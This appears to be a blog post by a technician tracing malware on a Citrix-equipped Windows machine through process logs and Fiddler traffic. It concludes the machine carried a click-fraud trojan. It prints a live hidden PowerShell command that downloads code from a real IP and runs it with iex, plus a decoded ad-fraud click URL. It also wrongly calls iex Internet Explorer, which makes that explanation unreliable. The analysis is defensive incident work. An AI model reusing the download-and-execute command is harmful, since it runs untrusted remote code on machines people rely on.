4,"52","powershell.exe","52",3104,"C:\Windows\system32\windowspowershell\v1.0","C:\Windows\system32\windowspowershell\v1.0\powershell.exe -windowstyle hidden -noninteractive -command "$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=550478364'); iex $($b)"",,"2015-05-01 09:31:00Z",00:00:00,00:00:00,,"S-1-5-18",,"taskeng.exe",3132,,,,,,

So, breaking this down, we notice 2 things. Firstly, that powershell.exe ran the following command (and it ran windowless, hence the -windowstyle hidden -noninteractive switches when powershell.exe was launched):

$a = New-Object System.Net.WebClient; $b = $a.DownloadString('http://37.228.88.167:80/landing?action=psf&pubid=0&subid=0&systemhash=550478364'); iex $($b)

So, powershell.exe is being launched windowless and is grabbing a string as a new object via the System.Net.WebClient module and the DownloadString function. It is then passing that string into iex (Internet Explorer). Remember, this is all happening in the background. Beyond that, we also notice the process that spawned powershell.exe, in this case taskeng.exe, which has a PID of 3132. If we follow the spawning chain, we find that taskeng.exe was called by svchost.exe, which was called by services.exe, which was called by wininit.exe, which was called by wfcrun32.exe. Here is the full path for wfcrun32.exe, along with the argument it was launched with:

C:\Program Files\Citrix\ICA Client\wfcrun32.exe -Embedding

That will become important later. For now, let's leave it be.

Next, let's review the second process I noted:

4,"58","cmd.exe","58",2612,"C:\Windows\system32","cmd.exe clckurl=http%3a%2f%2f178%2e63%2e9%2e213%2fclick%3fsid%3dc7394d7188ab054dde11c09ab539853fcfee0289%26cid%3d0%;;refrr=http%3a%2f%2flinepad%2ecom%;;usragnt=Mozilla%2f4%2e0%20(compatible%3b%20MSIE%209%2e0%3b%20Windows%20NT%206%2e1%3b%20Trident%2f5%2e0%3b%20SLCC2%3b%20%2eNET%20CLR%202%2e0%2e50727%3b%20%2eNET%20CLR%203%2e5%2e30729%3b%20%2eNET%20CLR%203%2e0%2e30729%3b%20Media%20Center%20PC%206%2e0%3b%20%2eNET4%2e0C%3b%20%2eNET4%2e0E%3b%20BOIE9%3bENUSMSCOM)%;;",,"2015-05-01 13:36:00Z",00:00:00,00:00:00,,"S-1-5-21-2111367450-1562277531-2960697558-1000",,"SelfServicePlugin.exe",464,,,,,,

So, cmd.exe is executing the below command:

clckurl=http%3a%2f%2f178%2e63%2e9%2e213%2fclick%3fsid%3dc7394d7188ab054dde11c09ab539853fcfee0289%26cid%3d0%;;refrr=http%3a%2f%2flinepad%2ecom%;;usragnt=Mozilla%2f4%2e0%20(compatible%3b%20MSIE%209%2e0%3b%20Windows%20NT%206%2e1%3b%20Trident%2f5%2e0%3b%20SLCC2%3b%20%2eNET%20CLR%202%2e0%2e50727%3b%20%2eNET%20CLR%203%2e5%2e30729%3b%20%2eNET%20CLR%203%2e0%2e30729%3b%20Media%20Center%20PC%206%2e0%3b%20%2eNET4%2e0C%3b%20%2eNET4%2e0E%3b%20BOIE9%3bENUSMSCOM)%

The URL is encoded, so let's decode it:

http://178.63.9.213/click?sid=c7394d7188ab054dde11c09ab539853fcfee0289&cid=0

A referrer header and user agent string were also included, so let's decode them as well:

refrr=http://linepad.com

usragnt=Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; BOIE9;ENUSMSCOM)

Well, clckurl isn't a Windows command that I am aware of, however, when you review the spawning chain, selfserviceplugin.exe is launching cmd.exe, and selfserviceplugin.exe is launched by receiver.exe, which is launched by concentr.exe, and that is launched by explorer.exe. There are some arguments and paths that are important to note here, so let's look at them:

C:\Program Files\Citrix\SelfServicePlugin\SelfServicePlugin.exe

C:\Program Files\Citrix\Receiver\Receiver.exe -autoupdate -startplugins

C:\Program Files\Citrix\ICA Client\concentr.exe /startup

Interestingly enough, we see yet more Citrix folder paths. If I had my guesses, clckurl is being inherited from a library used by one of those processes, or DLL injection is taking place. Can we locate the specific library or process supplying that command? Well, I am sure that somebody could, but from my stance I am missing two crucial things—experience and a better view into the client's machine. For now, let's just move on. I will try to swing back around to deeper analysis here if I can.

I had stated that a Fiddler analysis of the system had really shown what was going on behind the scenes. Surely enough, see below:

This is a sampling of the Fiddler traffic I caught. There were many, many more requests, and the capture was only running for a couple of minutes.

Well, we definitely have some click-jacking/ad fraud going on. That is a certainty.

Again, I don't have the stance/experience to do much more analysis at this exact moment. Unfortunately, forensics is not my primary job description, so there is only so much time I can spend gathering and preserving data for later examination before I need to move on to cleaning the infected machine. I will tell you that Malwarebytes Anti-Malware cleaned up instances of Trojan.Clicker.FMS, so the click-jacking/ad fraud guess was right.

I'll cycle back around to this topic when I have more time/information. For now, there are other topics to be addressed.

Thanks!